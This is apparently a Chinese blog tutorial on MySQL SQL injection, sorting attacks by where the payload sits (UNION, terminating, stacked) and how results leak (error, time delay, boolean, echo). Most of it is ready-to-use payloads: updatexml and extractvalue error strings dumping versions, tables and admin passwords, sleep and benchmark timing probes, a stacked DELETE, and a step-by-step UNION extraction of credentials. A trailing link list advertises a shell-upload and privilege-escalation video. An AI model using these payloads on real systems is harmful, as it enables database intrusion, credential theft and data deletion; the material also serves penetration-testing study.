注入位置分类

这个分类方式是我自己想的,可能会有一些不准确。如图所示注入方式有3种,内联、终止、堆叠。每种注入方式又根据服务器的响应分为4类,时间延迟、报错、布尔、将执行结果直接输出。

为什么给注入作分类?

sql语句添加了注入语句之后,需要SQL编译器还是能正常编译并执行,才能达成攻击目的,不同的SQL语句写法,加入的位置会有不同,不同的位置有不同的区别,这里说的不同就是本文研究的对象。

内联式 - UNION query SQL injection

图案说明:

终止式 - End SQL injection

  1. select * from users where name='test' or id>40;
  2. select * from users where name='test'; -- or id>40;

画图说明:

堆叠式 - Stacked queries SQL injection

  1. select * from users where id>40;delete from users where id=44;



id=44被删除了,说明用堆叠起来的sql语句是能执行的。

画图说明:

显示方式 - Respons of to show

显示方式指,你注入的是服务器的数据库,那么不管成功还是失败,都会得到服务器给你的响应。通过响应你才能知道你注入的语句执行成功了没,通过响应你才能拿到数据库里面的信息。而不同的业务场景、不同的开发就会有不同的响应显示方式,一般有报错返回、布尔返回、什么都不显示(通过时间延迟显示延迟数)。

报错注入 - Error-based SQL injection

报错注入有两种利用方式,一种是通过if( )函数,当判断出错的时候,就报错。一种是利用updatexml( )函数,直接将查询的内容通过报错信息展示出来。

if( )函数

0x7e (HEX码) = ~ (ASCII码)

假设要查询的name=lisi:

  1. select name from users where id=1;
  2. select substring((select name from users where id=1),1,1);
  3. select * from users where name='lisi' and if((substring((select name from users where id=1),1,1)='i'),1,exp(~(select * from (select user () ) a) ));

判读 lisi 第一个值为i 报错:

判读 lisi 第一个值为l 正常输出查询内容:

找了一些生僻函数用来报错:

  1. 1、通过floor报错,注入语句如下:
  2. and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);
  3. 2、通过ExtractValue报错,注入语句如下:
  4. and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
  5. 3、通过UpdateXml报错,注入语句如下:
  6. and 1=(updatexml(1,concat(0x3a,(select user())),1))
  7. 4、通过NAME_CONST报错,注入语句如下:
  8. and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
  9. 5、通过join报错,注入语句如下:
  10. select * from(select * from mysql.user ajoin mysql.user b)c;
  11. 6、通过exp报错,注入语句如下:
  12. and exp(~(select * from (select user () ) a) );
  13. 7、通过GeometryCollection()报错,注入语句如下:
  14. and GeometryCollection(()select *from(select user () )a)b );
  15. 8、通过polygon ()报错,注入语句如下:
  16. and polygon (()select * from(select user ())a)b );
  17. 9、通过multipoint ()报错,注入语句如下:
  18. and multipoint (()select * from(select user() )a)b );
  19. 10、通过multlinestring ()报错,注入语句如下:
  20. and multlinestring (()select * from(selectuser () )a)b );
  21. 11、通过multpolygon ()报错,注入语句如下:
  22. and multpolygon (()select * from(selectuser () )a)b );
  23. 12、通过linestring ()报错,注入语句如下:
  24. and linestring (()select * from(select user() )a)b );

updatexml( )函数

updatexml( )函数的作用是对XML文档查询、修改、更新。在注入场景下的作用是将查询的内容通过报错信息展示出来。

  1. ①爆数据库版本信息:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
  2. ②链接用户:?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
  3. 链接数据库:?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
  4. 爆库:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
  5. 爆表:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
  6. 爆字段:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
  7. 爆字段内容:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

example:







时间延迟注入 - Time-based blind SQL injection

if( )

  1. select * from users where name='lisi' ;
  2. select substring((select name from users where id=1),1,1);
  3. select * from users where name='lisi' and if((substring((select name from users where id=1),1,1)='i'),1,sleep(5));

out:

  1. sql> select * from users where name='lisi'
  2. [2019-09-04 18:57:32] 1 row retrieved starting from 1 in 48 ms (execution: 7 ms, fetching: 41 ms)
  3. sql> select * from users where name='lisi' and if((substring((select name from users where id=1),1,1)='i'),1,sleep(5))
  4. [2019-09-04 18:57:43] 0 rows retrieved in 5 s 25 ms (execution: 5 s 4 ms, fetching: 21 ms)



当if判断的字符不为预期的时候延时5秒。

benchmark( )

语法:

  1. benchmark(count,expr) --- 函数重复

Example:

  1. select benchmark(50000,md5('test'));
  2. #0.15sec
  3. select benchmark(5000000,md5('test'));
  4. #1.54sec
  5. select benchmark(50000000,md5('test'));
  6. #14.71sec

布尔注入 - Boolean-based blind SQL injection

  1. select * from users where name='lisi' ;
  2. select substring((select name from users where id=1),1,1);
  3. select * from users where name='lisi' and substring((select name from users where id=1),1,1)='i' and id < 20;



逻辑判断字符为预期时,正常输出查询内容。



逻辑判断字符不为预期时,查询不出内容。

回显执行结果注入

这个在实战中不常见。一般靶机才会这么写。有小概率会碰到例外。

总结

我感觉时间延迟注入、报错注入、布尔注入利用都差不多,只不过是改成时间、报错、逻辑值的方式让值输出来而已。

终止式 + 回显执行结果的注入案例

1.确认有无注入

  1. 1' and '1' ='1
  2. 1' and '1' ='2
  3. 1' and "1" ="1
  4. 1' and "1" ="2
  5. 1 and 1 = 1
  6. 1 and 1 = 2

2.判断他select几列

order by n 或者 untion select 1,2,3,n 效果一样。

  1. select name,password from users where name='lisi' order by 2; #超过2就报错
  2. # or
  3. select name,password from users where name='lisi' union select 1,2; # 1,2,3 超过2列就报错
  4. select name,password from users where name='lisi' union select 1,database();

3.获取库名

  1. select name,password from users where name='1' union select 1,database() #

4.获取表名

  1. select name,password from users where name='1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
  2. #grup_concat() 将group by产生的同一个分组中的值连接起来,返回一个字符串结果。简单就是 将相同的行组合起来

5.获取字段名

  1. select name,password from users where name='1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

6.获取字段数据

  1. select name,password from users where name='1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

常见SQL语句有注入的位置

where

  1. select name,password from users where name='lisi' and password='123456';

注入点在where后面的查询参数 namepassword,这种是最典型的,使用内联式可能较方便。

insert

这个位置有点复杂,使用终止、堆叠都可能会报错,得采用内联类

正常语句:

  1. insert into table (firstname,lastname) values ('john','smith');

注入语句:

  1. insert into table (firstname,lastname) values ('john',(select top 1 name + '|' + master.sys.fn.varbintohexstr(password hash) form sys.sql logins))-- ','smith');

updata

使用终止式;

todo

detele

使用终止式;

todo

order by

使用终止式;

todo

like

使用终止式;

todo

limit

使用终止式;

todo

文章还没有更新完,请关注https://www.cnblogs.com/mysticbinary博客,方便获得最新更新。

MySQL注入点与SQL语句的关系的更多相关文章

  1. 【转】MySQL用户管理及SQL语句详解

    [转]MySQL用户管理及SQL语句详解 1.1 MySQL用户管理 1.1.1 用户的定义 用户名+主机域 mysql> select user,host,password from mysq ...

  2. 浅谈mysql配置优化和sql语句优化【转】

    做优化,我在这里引用淘宝系统分析师蒋江伟的一句话:只有勇于承担,才能让人有勇气,有承担自己的错误的勇气.有承担错误的勇气,就有去做事得勇气.无论做什么事,只要是对的,就要去做,勇敢去做.出了错误,承担 ...

  3. MySQL数据库(一)—— 数据库介绍、MySQL安装、基础SQL语句

    数据库介绍.MySQL安装.基础SQL语句 一.数据库介绍 1.什么是数据库 数据库即存储数据的仓库 2.为什么要用数据库 (1)用文件存储是和硬盘打交道,是IO操作,所以有效率问题 (2)管理不方便 ...

  4. 如何用VS EF连接 Mysql,以及执行SQL语句 和存储过程?

    VS2013, MySQL5.7.18 , MySQL5.7.14 执行SQL语句: ztp_user z = new ztp_user(); object[] obj = new object[] ...

  5. [视频]K8飞刀 mysql注入点拿shell & UDF提权教程

    [视频]K8飞刀  mysql注入点拿shell & UDF提权教程 链接: https://pan.baidu.com/s/1a7u_uJNF6SReDbfVtAotIw 提取码: ka5m

  6. 如何记录MySQL执行过的SQL语句

    很多时候,我们需要知道 MySQL 执行过哪些 SQL 语句,比如 MySQL 被注入后,需要知道造成什么伤害等等.只要有 SQL 语句的记录,就能知道情况并作出对策.服务器是可以开启 MySQL 的 ...

  7. mysql里面如何用sql语句让字符串转换为数字

    sql语句将字符串转换为数字默认去掉单引号中的空格,遇到空格作为字符串截止, SELECT '123 and 1=1' +0 结果为123 MySQL里面如何用sql语句让字符串的‘123’转换为数字 ...

  8. mysql 中常用的 sql 语句

    SQL分类: DDL-----数据定义语言(CREATE--创建,ALTER--修改. DROP--删除表,DECLARE--声明) DML-----数据定义语言(SELECT--查询,DELECT- ...

  9. mysql 优化(包含sql语句的书写)

    http://blog.chinaunix.net/uid-11640640-id-3426908.html  mysql性能优化-慢查询分析.优化索引和配置 2012-11-30 15:18:42 ...

随机推荐

  1. 配置VS2013 + opencv 2.4.10

    其实我内心是极力反对装这么老的版本的,但是要交课堂作业~~好无奈 [注] : 如果按照本文配置不成功,可以试一下其他博客里面的配置(多试一试总能成功的) https://jingyan.baidu.c ...

  2. Codeforces Round #656 (Div. 3) B. Restore the Permutation by Merger

    题目链接:https://codeforces.com/contest/1385/problem/B 题意 有两个大小为 $n$ 的相同的排列,每次从二者或二者之一的首部取元素排入新的数组,给出这个大 ...

  3. map详细的复习

    map 就是一种基于自建红黑树的 一一对应的hash 的容器 通过模板方式实现  map<type,type> mapname: 前边是key 后边是 vale 转载如下作者:sevenc ...

  4. Codeforces Round #345 (Div. 1) C. Table Compression (并查集)

    Little Petya is now fond of data compression algorithms. He has already studied gz, bz, zip algorith ...

  5. K - Japan(线段树)

    Japan plans to welcome the ACM ICPC World Finals and a lot of roads must be built for the venue. Jap ...

  6. codeforces 630K Indivisibility (容斥原理)

    IT City company developing computer games decided to upgrade its way to reward its employees. Now it ...

  7. poj 2566 Bound Found 尺取法

    一.首先介绍一下什么叫尺取 过程大致分为四步: 1.初始化左右端点,即先找到一个满足条件的序列. 2.在满足条件的基础上不断扩大右端点. 3.如果第二步无法满足条件则到第四步,否则更新结果. 4.扩大 ...

  8. 国产smartbits版本-minismb如何测试路由器III

    Minismb测试仪表是复刻smartbits的国产版本,是一款专门用于测试智能路由器,网络交换机的性能和稳定性的软硬件相结合的工具.可以通过此工具测试任何ip网络设备的端口吞吐率,带宽,并发连接数和 ...

  9. office响应慢,但电脑速度没问题的解决方案

    看了非常多教程都没有用,有点崩,最后终于解决了,记录一下. 问题描述 :office启动没问题,但word打开后,选中一段文字非常慢,大概延迟鼠标移动2-3秒.点击工具栏时也有延迟(点击动画看的十分清 ...

  10. spring再学习之基本概念

    二.spring之IOC与DI 注入的方式: set方法注入: 构造方法注入: 字段注入: 注入类型: 值类型注入:8中基本类型 引用类型注入: BeanFaactory是原始接口:功能比较单一. A ...